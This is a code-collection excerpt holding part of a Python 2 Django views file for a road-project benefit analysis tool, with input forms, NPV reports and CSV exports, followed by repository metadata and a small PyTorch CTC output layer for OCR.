analysis.hbw_drive_income_2 = form.cleaned_data['hbw_drive_income_2'] # analysis.hbw_drive_income_3 = form.cleaned_data['hbw_drive_income_3'] # analysis.hbw_drive_income_4 = form.cleaned_data['hbw_drive_income_4'] # analysis.other_driving = form.cleaned_data['other_driving'] # analysis.sr2_income_am = form.cleaned_data['sr2_income_am'] # analysis.sr2_income_md = form.cleaned_data['sr2_income_md'] # analysis.sr2_income_pm = form.cleaned_data['sr2_income_pm'] # analysis.sr2_income_ev = form.cleaned_data['sr2_income_ev'] # analysis.sr2_income_nt = form.cleaned_data['sr2_income_nt'] # analysis.sr3_income_am = form.cleaned_data['sr3_income_am'] # analysis.sr3_income_md = form.cleaned_data['sr3_income_md'] # analysis.sr3_income_pm = form.cleaned_data['sr3_income_pm'] # analysis.sr3_income_ev = form.cleaned_data['sr3_income_ev'] # analysis.sr3_income_nt = form.cleaned_data['sr3_income_nt'] # analysis.vanpool_income_am = form.cleaned_data['vanpool_income_am'] # analysis.vanpool_income_md = form.cleaned_data['vanpool_income_md'] # analysis.vanpool_income_pm = form.cleaned_data['vanpool_income_pm'] # analysis.vanpool_income_ev = form.cleaned_data['vanpool_income_ev'] # analysis.vanpool_income_nt = form.cleaned_data['vanpool_income_nt'] # analysis.hbw_transit_ivt_income_1 = form.cleaned_data['hbw_transit_ivt_income_1'] # analysis.hbw_transit_ivt_income_2 = form.cleaned_data['hbw_transit_ivt_income_2'] # analysis.hbw_transit_ivt_income_3 = form.cleaned_data['hbw_transit_ivt_income_3'] # analysis.hbw_transit_ivt_income_4 = form.cleaned_data['hbw_transit_ivt_income_4'] # analysis.hbw_transit_walk_income_1 = form.cleaned_data['hbw_transit_walk_income_1'] # analysis.hbw_transit_walk_income_2 = form.cleaned_data['hbw_transit_walk_income_2'] # analysis.hbw_transit_walk_income_3 = form.cleaned_data['hbw_transit_walk_income_3'] # analysis.hbw_transit_walk_income_4 = form.cleaned_data['hbw_transit_walk_income_4'] # analysis.hbw_transit_wait_income_1 = form.cleaned_data['hbw_transit_wait_income_1'] # analysis.hbw_transit_wait_income_2 = form.cleaned_data['hbw_transit_wait_income_2'] # analysis.hbw_transit_wait_income_3 = form.cleaned_data['hbw_transit_wait_income_3'] # analysis.hbw_transit_wait_income_4 = form.cleaned_data['hbw_transit_wait_income_4'] # analysis.other_transit_ivt = form.cleaned_data['other_transit_ivt'] # analysis.other_transit_walk = form.cleaned_data['other_transit_walk'] # analysis.other_transit_wait = form.cleaned_data['other_transit_wait'] # analysis.light_trucks_time = form.cleaned_data['light_trucks_time'] # analysis.medium_trucks_time = form.cleaned_data['medium_trucks_time'] # analysis.heavy_trucks_time = form.cleaned_data['heavy_trucks_time'] # analysis.bike_time = form.cleaned_data['bike_time'] # analysis.walk_time = form.cleaned_data['walk_time'] # analysis.save() # updated = True # return analysis_router(request, next='main', use_function=False) # #return render_to_response( # 'time.html',{ # 'form':form, # 'updated':updated, # } #) analysis = Analysis.objects.get(id=request.session.get('analysis_id')) toddefaults = TODDefault.objects.all() toddefault_dict = {} for i in toddefaults.values(): toddefault_dict[i['field']] = i field_list = toddefault_dict.keys() analysis_tod = AnalysisTOD.objects.filter(analysis=analysis) analysis_tod_dict = {} for result in analysis_tod.values(): analysis_tod_dict[result['field']] = result dynamic_fields = {} for field in analysis_tod_dict.keys(): for tod in analysis_tod_dict[field].keys(): if tod not in ('id','field','analysis_id'): dynamic_fields['%s_%s' %(field,tod)] = analysis_tod_dict[field][tod] form = TimeForm(obj=dynamic_fields, field_list=field_list) updated = False if (request.method == 'POST' and ('_update_time' in request.POST)): #validate input form = TimeForm(obj=request.POST, field_list=field_list) if form.is_valid(): #save changes for i in analysis_tod: for tod in analysis_tod_dict[i.field].keys(): if tod not in ('id','field','analysis_id'): setattr(i, tod, form.cleaned_data['%s_%s' %(i.field, tod)]) i.save() return analysis_router(request, next='main', use_function=False) form_rows = [] fields = analysis_tod_dict.keys() fields.sort() for field in fields: temp = {} temp['field'] = toddefault_dict[field]['name'] for tod in analysis_tod_dict[field].keys(): if tod not in ('id','field','analysis_id'): temp[tod] = form['%s_%s' %(field, tod)] form_rows.append(temp) return render_to_response( 'time.html',{ 'form':form, 'form_rows': form_rows, 'updated':updated, } ) def distance(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) form = DistanceForm(initial=analysis.__dict__) updated = False if (request.method == 'POST' and ('_update_distance' in request.POST)): #validate input form = DistanceForm(request.POST) if form.is_valid(): analysis.auto_cost = form.cleaned_data['auto_cost'] analysis.light_trucks_cost = form.cleaned_data['light_trucks_cost'] analysis.medium_trucks_cost = form.cleaned_data['medium_trucks_cost'] analysis.heavy_trucks_cost = form.cleaned_data['heavy_trucks_cost'] analysis.save() updated = True return analysis_router(request, next='main', use_function=False) return render_to_response( 'distance.html',{ 'form':form, 'updated':updated, } ) def unreliability(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) form = UnreliabilityForm(initial=analysis.__dict__) updated = False if (request.method == 'POST' and ('_update_unreliability' in request.POST)): #validate input form = UnreliabilityForm(request.POST) if form.is_valid(): analysis.i_ratio = form.cleaned_data['i_ratio'] analysis.personal_discount_rate = form.cleaned_data['personal_discount_rate'] analysis.prob_not_meet_guar = form.cleaned_data['prob_not_meet_guar'] analysis.alpha = form.cleaned_data['alpha'] analysis.beta_1 = form.cleaned_data['beta_1'] analysis.beta_2 = form.cleaned_data['beta_2'] analysis.save() updated = True return analysis_router(request, next='main', use_function=False) return render_to_response( 'unreliability.html',{ 'form':form, 'updated':updated, } ) def accidents(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) accidents = AccidentInput.objects.filter(analysis=analysis) acc_dict = {} for result in accidents.values(): if not acc_dict.has_key(result['vc_range']): acc_dict[result['vc_range']] = {} acc_dict[result['vc_range']][result['functional_class']] = {} acc_dict[result['vc_range']][result['functional_class']]['property_damage_only'] = result['property_damage_only'] acc_dict[result['vc_range']][result['functional_class']]['injury'] = result['injury'] acc_dict[result['vc_range']][result['functional_class']]['fatality'] = result['fatality'] dynamic_fields = {} for vc in vc_range_choices: for fc in functional_class_choices: dynamic_fields['property_damage_only_%s_%s' %(vc[0],fc[0])] = acc_dict[vc[0]][fc[0]]['property_damage_only'] dynamic_fields['injury_%s_%s' %(vc[0],fc[0])] = acc_dict[vc[0]][fc[0]]['injury'] dynamic_fields['fatality_%s_%s' %(vc[0],fc[0])] = acc_dict[vc[0]][fc[0]]['fatality'] form = AccidentsForm(obj=dynamic_fields) updated = False vc_range = vc_range_choices fc_classes = functional_class_choices cost_form = AccidentCostForm(initial=analysis.__dict__) if (request.method == 'POST' and ('_update_safety' in request.POST)): #validate input form = AccidentsForm(obj=request.POST) cost_form = AccidentCostForm(request.POST) if form.is_valid() and cost_form.is_valid(): #save changes for i in accidents: setattr(i, 'property_damage_only', form.cleaned_data['property_damage_only_%s_%s' %(i.vc_range, i.functional_class)]) setattr(i, 'injury', form.cleaned_data['injury_%s_%s' %(i.vc_range, i.functional_class)]) setattr(i, 'fatality', form.cleaned_data['fatality_%s_%s' %(i.vc_range, i.functional_class)]) i.save() analysis.property_damage_only = cost_form.cleaned_data['property_damage_only'] analysis.injury = cost_form.cleaned_data['injury'] analysis.fatality = cost_form.cleaned_data['fatality'] analysis.save() return analysis_router(request, next='main', use_function=False) form_rows = [] for vc in vc_range: for fc in fc_classes: temp = {} temp['vc'] = vc[0] temp['fc'] = fc[0] temp['property_damage_only'] = form['property_damage_only_%s_%s' %(vc[0],fc[0])] temp['injury'] = form['injury_%s_%s' %(vc[0],fc[0])] temp['fatality'] = form['fatality_%s_%s' %(vc[0],fc[0])] form_rows.append(temp) return render_to_response( 'accidents.html',{ 'form':form, 'vc_range':vc_range, 'fc_classes':fc_classes, 'form_rows': form_rows, 'cost_form':cost_form, 'updated':updated, } ) def emissions(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) emmissions = EmissionInput.objects.filter(analysis=analysis) emissions_cost = EmissionCostInput.objects.filter(analysis=analysis) emm_dict = {} for result in emmissions.values(): if not emm_dict.has_key(result['pollutant_id']): emm_dict[result['pollutant_id']] = {} emm_dict[result['pollutant_id']][result['speed_class']] = result emm_cost_dict = {} for result in emissions_cost.values(): emm_cost_dict[result['pollutant_id']] = result dynamic_fields = {} for p in emm_dict.keys(): for speed in speed_class_choices: dynamic_fields['car_%s_%s' %(p,speed[0])] = emm_dict[p][speed[0]]['car'] dynamic_fields['light_truck_%s_%s' %(p,speed[0])] = emm_dict[p][speed[0]]['light_truck'] dynamic_fields['medium_truck_%s_%s' %(p,speed[0])] = emm_dict[p][speed[0]]['medium_truck'] dynamic_fields['heavy_truck_%s_%s' %(p,speed[0])] = emm_dict[p][speed[0]]['heavy_truck'] dynamic_cost_fields = {} for p in emm_cost_dict.keys(): dynamic_cost_fields['pollutant_%s' %(p)] = emm_cost_dict[p]['cost'] form = EmissionsForm(obj=dynamic_fields) cost_form = EmissionsCostForm(obj=dynamic_cost_fields) if (request.method == 'POST' and ('_update_emissions' in request.POST)): #validate input form = EmissionsForm(obj=request.POST) cost_form = EmissionsCostForm(obj=request.POST) if form.is_valid() and cost_form.is_valid(): #save changes for i in emmissions: setattr(i, 'car', form.cleaned_data['car_%s_%s' %(i.pollutant_id, i.speed_class)]) setattr(i, 'light_truck', form.cleaned_data['light_truck_%s_%s' %(i.pollutant_id, i.speed_class)]) setattr(i, 'medium_truck', form.cleaned_data['medium_truck_%s_%s' %(i.pollutant_id, i.speed_class)]) setattr(i, 'heavy_truck', form.cleaned_data['heavy_truck_%s_%s' %(i.pollutant_id, i.speed_class)]) i.save() for i in emissions_cost: setattr(i, 'cost', cost_form.cleaned_data['pollutant_%s' %(i.pollutant_id)]) i.save() return analysis_router(request, next='main', use_function=False) form_rows = [] for p in emm_dict.keys(): for speed in speed_class_choices: temp = {} temp['p'] = Pollutant.objects.get(pk=p).name temp['speed'] = speed[0] temp['car'] = form['car_%s_%s' %(p,speed[0])] temp['light_truck'] = form['light_truck_%s_%s' %(p,speed[0])] temp['medium_truck'] = form['medium_truck_%s_%s' %(p,speed[0])] temp['heavy_truck'] = form['heavy_truck_%s_%s' %(p,speed[0])] form_rows.append(temp) cost_form_rows = [] for p in emm_cost_dict.keys(): temp = {} temp['p'] = Pollutant.objects.get(pk=p).name temp['cost'] = cost_form['pollutant_%s' %(p)] cost_form_rows.append(temp) return render_to_response( 'emissions.html',{ 'form_rows': form_rows, 'form':form, 'cost_form_rows': cost_form_rows, 'cost_form': cost_form } ) def add_region(request): form = RegionForm() if request.method == 'POST': form = RegionForm(request.POST) if form.is_valid(): newregion = form.save() newregion.save() form = 0 return HttpResponseRedirect('/') return render_to_response( 'region/add.html',{ 'form':form } ) def main_report(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) base_year = int(analysis.scenario.split('_')[1][:4]) current_year = datetime.now().year benefit_results = BenefitResult.objects.filter(analysis=analysis) acct_results = AccountingResult.objects.filter(analysis=analysis) date_prepared = datetime.now() #create full region results full_region_benefits_raw = benefit_results.filter(region=1, tod='all', user_class='all').order_by('year').values() full_region_results_dict = {} for result in full_region_benefits_raw: full_region_results_dict[result['year']] = {'year':result['year']} full_region_results_dict[result['year']]['user_benefit'] = result['time_benefit'] + result['operating_cost_benefit'] + result['toll_benefit'] + result['fare_benefit'] + result['parking_benefit'] + result['unreliability_benefit'] full_region_acct_raw = acct_results.filter(region=1, tod='all', user_class='all').order_by('year').values() for result in full_region_acct_raw: if result['variable'] == 'rev': full_region_results_dict[result['year']]['toll_revenue'] = result['difference'] elif result['variable'] == 'vmt': full_region_results_dict[result['year']]['change_vmt'] = result['difference'] elif result['variable'] == 'vht': full_region_results_dict[result['year']]['change_vht'] = result['difference'] full_region_results = [] years = full_region_results_dict.keys() years.sort() for year in years: full_region_results.append(full_region_results_dict[year]) #calculate full region NPV full_region_benefit_npv = 0 #full_region_toll_npv = 0 for year in years: full_region_benefit_npv += full_region_results_dict[year]['user_benefit'] / (1 + analysis.real_discount_rate)**(year - current_year) #full_region_toll_npv += full_region_results_dict[year]['toll_revenue'] / (1 + analysis.real_discount_rate)**(year - current_year) #if subregion calculate results and NPV if analysis.region.id != 1: subregion_benefits_raw = benefit_results.filter(region=analysis.region.id, tod='all', user_class='all').order_by('year').values() subregion_results_dict = {} for result in subregion_benefits_raw: subregion_results_dict[result['year']] = {'year':result['year']} subregion_results_dict[result['year']]['user_benefit'] = result['time_benefit'] + result['operating_cost_benefit'] + result['toll_benefit'] + result['fare_benefit'] + result['parking_benefit'] + result['unreliability_benefit'] subregion_acct_raw = acct_results.filter(region=analysis.region.id, tod='all', user_class='all').order_by('year').values() for result in subregion_acct_raw: if result['variable'] == 'rev': subregion_results_dict[result['year']]['toll_revenue'] = result['difference'] elif result['variable'] == 'vmt': subregion_results_dict[result['year']]['change_vmt'] = result['difference'] elif result['variable'] == 'vht': subregion_results_dict[result['year']]['change_vht'] = result['difference'] subregion_results = [] years = subregion_results_dict.keys() years.sort() for year in years: subregion_results.append(subregion_results_dict[year]) #calculate full region NPV subregion_benefit_npv = 0 #subregion_toll_npv = 0 for year in years: subregion_benefit_npv += subregion_results_dict[year]['user_benefit'] / (1 + analysis.real_discount_rate)**(year - current_year) #full_region_toll_npv += full_region_results_dict[year]['toll_revenue'] / (1 + analysis.real_discount_rate)**(year - current_year) else: subregion_results=None subregion_benefit_npv=0 #get overrides overrides=[] defaults = {} defaults_temp = Default.objects.all().values() for i in defaults_temp: defaults[i['field']] = i['value'] for i in Analysis._meta.fields: if defaults.has_key(i.name): if analysis.__dict__[i.name] != defaults[i.name]: overrides.append({'parameter':i.name, 'default':defaults[i.name],'override': analysis.__dict__[i.name]}) return render_to_response( 'main_report.html',{ 'analysis': analysis, 'full_region_results': full_region_results, 'full_region_benefit_npv': full_region_benefit_npv, 'subregion_results': subregion_results, 'subregion_benefit_npv': subregion_benefit_npv, 'overrides': overrides } ) def benefit_type_report(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) base_year = int(analysis.scenario.split('_')[1][:4]) current_year = datetime.now().year benefit_results = BenefitResult.objects.filter(analysis=analysis) date_prepared = datetime.now() #create full region results full_region_benefits_raw = benefit_results.filter(region=1, tod='all', user_class='all').order_by('year').values() full_region_results_dict = {} for result in full_region_benefits_raw: full_region_results_dict[result['year']] = {'year':result['year']} full_region_results_dict[result['year']]['time_benefit'] = result['time_benefit'] full_region_results_dict[result['year']]['operating_cost_benefit'] = result['operating_cost_benefit'] full_region_results_dict[result['year']]['toll_benefit'] = result['toll_benefit'] full_region_results_dict[result['year']]['fare_benefit'] = result['fare_benefit'] full_region_results_dict[result['year']]['parking_benefit'] = result['parking_benefit'] full_region_results_dict[result['year']]['unreliability_benefit'] = result['unreliability_benefit'] full_region_results = [] years = full_region_results_dict.keys() years.sort() for year in years: full_region_results.append(full_region_results_dict[year]) #calculate full region NPV full_region_benefit_npv = {} #full_region_toll_npv = 0 for year in years: for key in full_region_results_dict[year].keys(): if not full_region_benefit_npv.has_key(key): full_region_benefit_npv[key] = full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: full_region_benefit_npv[key] += full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) full_region_results.append(full_region_benefit_npv) if analysis.region.id != 1: subregion_benefits_raw = benefit_results.filter(region=analysis.region.id, tod='all', user_class='all').order_by('year').values() subregion_results_dict = {} for result in subregion_benefits_raw: subregion_results_dict[result['year']] = {'year':result['year']} subregion_results_dict[result['year']]['time_benefit'] = result['time_benefit'] subregion_results_dict[result['year']]['operating_cost_benefit'] = result['operating_cost_benefit'] subregion_results_dict[result['year']]['toll_benefit'] = result['toll_benefit'] subregion_results_dict[result['year']]['fare_benefit'] = result['fare_benefit'] subregion_results_dict[result['year']]['parking_benefit'] = result['parking_benefit'] subregion_results_dict[result['year']]['unreliability_benefit'] = result['unreliability_benefit'] subregion_results = [] years = subregion_results_dict.keys() years.sort() for year in years: subregion_results.append(subregion_results_dict[year]) #calculate full region NPV subregion_benefit_npv = {} #subregion_toll_npv = 0 for year in years: if not subregion_benefit_npv.has_key(key): subregion_benefit_npv[key] = full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: subregion_benefit_npv[key] += full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: subregion_results=None subregion_benefit_npv=0 return render_to_response( 'benefit_type_report.html',{ 'analysis': analysis, 'full_region_results': full_region_results, 'full_region_benefit_npv': full_region_benefit_npv, 'subregion_results': subregion_results, 'subregion_benefit_npv': subregion_benefit_npv } ) def tod_report(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) base_year = int(analysis.scenario.split('_')[1][:4]) current_year = datetime.now().year benefit_results = BenefitResult.objects.filter(analysis=analysis) date_prepared = datetime.now() #create full region results full_region_benefits_raw = benefit_results.filter(region=1, user_class='all').order_by('year').values() full_region_results_dict = {} for result in full_region_benefits_raw: if not full_region_results_dict.has_key(result['year']): full_region_results_dict[result['year']] = {'year':result['year']} if not full_region_results_dict[result['year']].has_key(result['tod']): full_region_results_dict[result['year']][result['tod']] = 0 full_region_results_dict[result['year']][result['tod']] += result['time_benefit'] + result['operating_cost_benefit'] + result['toll_benefit'] + result['fare_benefit'] + result['parking_benefit'] + result['unreliability_benefit'] full_region_results = [] years = full_region_results_dict.keys() years.sort() for year in years: full_region_results.append(full_region_results_dict[year]) #calculate full region NPV full_region_benefit_npv = {} #full_region_toll_npv = 0 for year in years: for key in full_region_results_dict[year].keys(): if not full_region_benefit_npv.has_key(key): full_region_benefit_npv[key] = full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: full_region_benefit_npv[key] += full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) full_region_results.append(full_region_benefit_npv) if analysis.region.id != 1: subregion_benefits_raw = benefit_results.filter(region=analysis.region.id, user_class='all').order_by('year').values() subregion_results_dict = {} for result in subregion_results_dict: if not subregion_results_dict.has_key(result['year']): subregion_results_dict[result['year']] = {'year':result['year']} if not subregion_results_dict[result['year']].has_key(result['tod']): subregion_results_dict[result['year']][result['tod']] = 0 full_region_results_dict[result['year']][result['tod']] += result['time_benefit'] + result['operating_cost_benefit'] + result['toll_benefit'] + result['fare_benefit'] + result['parking_benefit'] + result['unreliability_benefit'] subregion_results = [] years = subregion_results_dict.keys() years.sort() for year in years: subregion_results.append(subregion_results_dict[year]) #calculate full region NPV subregion_benefit_npv = {} #subregion_toll_npv = 0 for year in years: if not full_region_benefit_npv.has_key(key): subregion_benefit_npv[key] = full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: subregion_benefit_npv[key] += full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: subregion_results=None subregion_benefit_npv=0 return render_to_response( 'tod_report.html',{ 'analysis': analysis, 'full_region_results': full_region_results, 'full_region_benefit_npv': full_region_benefit_npv, 'subregion_results': subregion_results, 'subregion_benefit_npv': subregion_benefit_npv } ) def user_class_report(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) base_year = int(analysis.scenario.split('_')[1][:4]) current_year = datetime.now().year benefit_results = BenefitResult.objects.filter(analysis=analysis) acct_results = AccountingResult.objects.filter(analysis=analysis) date_prepared = datetime.now() #create full region results full_region_benefits_raw = benefit_results.filter(region=1, tod='all').order_by('year').values() full_region_results_dict = {} for result in full_region_benefits_raw: if not full_region_results_dict.has_key(result['year']): full_region_results_dict[result['year']] = {'year':result['year']} if not full_region_results_dict[result['year']].has_key(result['user_class']): full_region_results_dict[result['year']][result['user_class']] = 0 full_region_results_dict[result['year']][result['user_class']] += result['time_benefit'] + result['operating_cost_benefit'] + result['toll_benefit'] + result['fare_benefit'] + result['parking_benefit'] + result['unreliability_benefit'] full_region_results = [] years = full_region_results_dict.keys() years.sort() for year in years: full_region_results.append(full_region_results_dict[year]) #calculate full region NPV full_region_benefit_npv = {} #full_region_toll_npv = 0 for year in years: for key in full_region_results_dict[year].keys(): if not full_region_benefit_npv.has_key(key): full_region_benefit_npv[key] = full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: full_region_benefit_npv[key] += full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) full_region_results.append(full_region_benefit_npv) if analysis.region.id != 1: subregion_results_raw = benefit_results.filter(region=analysis.region.id, tod='all').order_by('year').values() subregion_results_dict = {} for result in subregion_results_raw: if not subregion_results_dict.has_key(result['year']): subregion_results_dict[result['year']] = {'year':result['year']} if not subregion_results_dict[result['year']].has_key(result['user_class']): subregion_results_dict[result['year']][result['user_class']] = 0 subregion_results_dict[result['year']][result['user_class']] += result['time_benefit'] + result['operating_cost_benefit'] + result['toll_benefit'] + result['fare_benefit'] + result['parking_benefit'] + result['unreliability_benefit'] subregion_results = [] years = subregion_results_dict.keys() years.sort() for year in years: subregion_results.append(subregion_results_dict[year]) #calculate full region NPV subregion_benefit_npv = {} #subregion_toll_npv = 0 for year in years: if not full_region_benefit_npv.has_key(key): subregion_benefit_npv[key] = full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: subregion_benefit_npv[key] += full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) else: subregion_results=None subregion_benefit_npv=0 return render_to_response( 'user_class_report.html',{ 'analysis': analysis, 'full_region_results': full_region_results, 'full_region_benefit_npv': full_region_benefit_npv, 'subregion_results': subregion_results, 'subregion_benefit_npv': subregion_benefit_npv } ) def emissions_report(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) base_year = int(analysis.scenario.split('_')[1][:4]) current_year = datetime.now().year emission_results = EmissionResult.objects.filter(analysis=analysis) date_prepared = datetime.now() #create full region results full_region_benefits_raw = emission_results.order_by('year').values() full_region_results_dict = {} vehicle_types={'heavy_truck':'Heavy Truck', 'medium_truck':'Medium Truck', 'light_truck':'Light Truck', 'car':'Car'} for result in full_region_benefits_raw: pollutant_name = Pollutant.objects.get(pk=result['pollutant_id']).name if not full_region_results_dict.has_key(result['year']): full_region_results_dict[result['year']] = {} #'year':result['year'] if not full_region_results_dict[result['year']].has_key(pollutant_name): full_region_results_dict[result['year']][pollutant_name] = {'pollutant_name': pollutant_name, 'year': result['year']} if not full_region_results_dict[result['year']][pollutant_name].has_key(result['vehicle_type']): full_region_results_dict[result['year']][pollutant_name][result['vehicle_type']] = 0 full_region_results_dict[result['year']][pollutant_name][result['vehicle_type']] += result['difference'] full_region_results = [] years = full_region_results_dict.keys() years.sort() for year in years: pollutants = full_region_results_dict[year].keys() pollutants.sort() for p in pollutants: full_region_results.append(full_region_results_dict[year][p]) ##calculate full region NPV #full_region_benefit_npv = {} ##full_region_toll_npv = 0 #for year in years: # for key in full_region_results_dict[year].keys(): # if not full_region_benefit_npv.has_key(key): # full_region_benefit_npv[key] = full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) # else: # full_region_benefit_npv[key] += full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) # #full_region_results.append(full_region_benefit_npv) return render_to_response( 'emissions_report.html',{ 'analysis': analysis, 'full_region_results': full_region_results, } ) def safety_report(request): analysis = Analysis.objects.get(id=request.session.get('analysis_id')) base_year = int(analysis.scenario.split('_')[1][:4]) current_year = datetime.now().year safety_results = AccidentResult.objects.filter(analysis=analysis) date_prepared = datetime.now() #create full region results full_region_benefits_raw = safety_results.order_by('year').values() full_region_results_dict = {} for result in full_region_benefits_raw: if not full_region_results_dict.has_key(result['year']): full_region_results_dict[result['year']] = {'year':result['year'], 'property_damage_only':0, 'injury':0, 'fatality': 0, 'total':0} full_region_results_dict[result['year']]['property_damage_only'] += result['property_damage_only_benefit'] full_region_results_dict[result['year']]['injury'] += result['injury_benefit'] full_region_results_dict[result['year']]['fatality'] += result['fatality_benefit'] full_region_results_dict[result['year']]['total'] += result['fatality_benefit'] + result['injury_benefit'] + result['property_damage_only_benefit'] full_region_results = [] years = full_region_results_dict.keys() years.sort() for year in years: full_region_results.append(full_region_results_dict[year]) ##calculate full region NPV #full_region_benefit_npv = {} ##full_region_toll_npv = 0 #for year in years: # for key in full_region_results_dict[year].keys(): # if not full_region_benefit_npv.has_key(key): # full_region_benefit_npv[key] = full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) # else: # full_region_benefit_npv[key] += full_region_results_dict[year][key] / (1 + analysis.real_discount_rate)**(year - current_year) # #full_region_results.append(full_region_benefit_npv) return render_to_response( 'safety_report.html',{ 'analysis': analysis, 'full_region_results': full_region_results, } ) def benefits_csv(request): try: analysis = Analysis.objects.get(id=request.session.get('analysis_id')) except: return HttpResponseRedirect('/') benefit_results = BenefitResult.objects.filter(analysis=analysis.id).values() if not len(benefit_results) > 0: return HttpResponseRedirect('/') data = [] header = [] for field in BenefitResult._meta.fields: if field.name not in ('id','analysis'): header.append(field.name) data.append(header) for result in benefit_results: row = [] for field in header: if field == 'region': row.append(Region.objects.get(id=result['region_id']).name) else: row.append(result[field]) data.append(row) # return HttpResponseRedirect('/') # Create the HttpResponse object with the appropriate CSV header. response = HttpResponse(mimetype='text/csv') response['Content-Disposition'] = 'attachment; filename=%s_benefit_results.csv' %(replace(analysis.title,' ','_')) writer = csv.writer(response) for row in data: writer.writerow(row) return response def accounting_csv(request): try: analysis = Analysis.objects.get(id=request.session.get('analysis_id')) except: return HttpResponseRedirect('/') accounting_results = AccountingResult.objects.filter(analysis=analysis.id).values() if not len(accounting_results) > 0: return HttpResponseRedirect('/') data = [] header = [] for field in AccountingResult._meta.fields: if field.name not in ('id','analysis'): header.append(field.name) data.append(header) for result in accounting_results: row = [] for field in header: if field == 'region': row.append(Region.objects.get(id=result['region_id']).name) else: row.append(result[field]) data.append(row) # return HttpResponseRedirect('/') # Create the HttpResponse object with the appropriate CSV header. response = HttpResponse(mimetype='text/csv') response['Content-Disposition'] = 'attachment; filename=%s_accounting_results.csv' %(replace(analysis.title,' ','_')) writer = csv.writer(response) for row in data: writer.writerow(row) return response def safety_csv(request): try: analysis = Analysis.objects.get(id=request.session.get('analysis_id')) except: return HttpResponseRedirect('/') accidents_results = AccidentResult.objects.filter(analysis=analysis.id).values() if not len(accidents_results) > 0: return HttpResponseRedirect('/') data = [] header = [] for field in AccidentResult._meta.fields: if field.name not in ('id','analysis'): header.append(field.name) data.append(header) for result in accidents_results: row = [] for field in header: row.append(result[field]) data.append(row) # return HttpResponseRedirect('/') # Create the HttpResponse object with the appropriate CSV header. response = HttpResponse(mimetype='text/csv') response['Content-Disposition'] = 'attachment; filename=%s_safety_results.csv' %(replace(analysis.title,' ','_')) writer = csv.writer(response) for row in data: writer.writerow(row) return response def emissions_csv(request): try: analysis = Analysis.objects.get(id=request.session.get('analysis_id')) except: return HttpResponseRedirect('/') emissions_results = EmissionResult.objects.filter(analysis=analysis.id).values() if not len(emissions_results) > 0: return HttpResponseRedirect('/') data = [] header = [] for field in EmissionResult._meta.fields: if field.name not in ('id','analysis'): header.append(field.name) data.append(header) for result in emissions_results: row = [] for field in header: if field == 'pollutant': row.append(Pollutant.objects.get(id=result['pollutant_id']).short_name) else: row.append(result[field]) data.append(row) # return HttpResponseRedirect('/') # Create the HttpResponse object with the appropriate CSV header. response = HttpResponse(mimetype='text/csv') response['Content-Disposition'] = 'attachment; filename=%s_emissions_results.csv' %(replace(analysis.title,' ','_')) writer = csv.writer(response) for row in data: writer.writerow(row) return response def restart(request): """ Clears the session and send them back home """ for key in request.session.keys(): request.session.__delitem__(key) return HttpResponseRedirect('/')

[ "peter@thoughtspot.net" ]

peter@thoughtspot.net

5baf1e3833e9e4c95ed0c4f8f8d4e52613083bd9

6c9f0e5996664dd9d92debcaefe438d9ed3b3ca6

/lib/networks/head/Rec_CTCHead.py

f3635e0215f4a2305db762c0b297de9dc9bd5d08

[ "MIT" ]

permissive

yingbiaoluo/OCR_deployment

a978a60252c93c015c30cd2df44e268ff6149ea0

a2f4635d328e7bd484fb1c86da3ca79306d852a7

refs/heads/master

2023-04-06T10:33:39.590716

2021-04-08T08:39:01

276,579,485

0

null

UTF-8

Python

false

387

py

from torch import nn import torch.nn.functional as F class CTC(nn.Module): def __init__(self, in_channels, n_class, **kwargs): super().__init__() self.n_class = n_class self.fc = nn.Linear(in_channels, n_class) def forward(self, x): # [batch, 141, 512] x = self.fc(x) # [batch, 141, 6773] x = F.log_softmax(x, dim=2) return x

[ "yingbiao_luo@163.com" ]

yingbiao_luo@163.com

dd8d15a25768c4147ce2c773a5b0dce3c3c5ba8c

4069734a3206e3def5dfa0f4205861a07583b451

/apps/members/views.py

e080f4310902d22f259d8d769e0df74e36bd08ce

[]

no_license

shredz/Tool

93155000727694d032f2c840a42fa7cf0e96e7a5

814d0c55b856c0b8a51fa432def351301749d9df

refs/heads/master

2021-01-01T20:34:41.130137

2011-11-17T08:11:04

2,786,866

0

null

UTF-8

Python

false

13,360

py

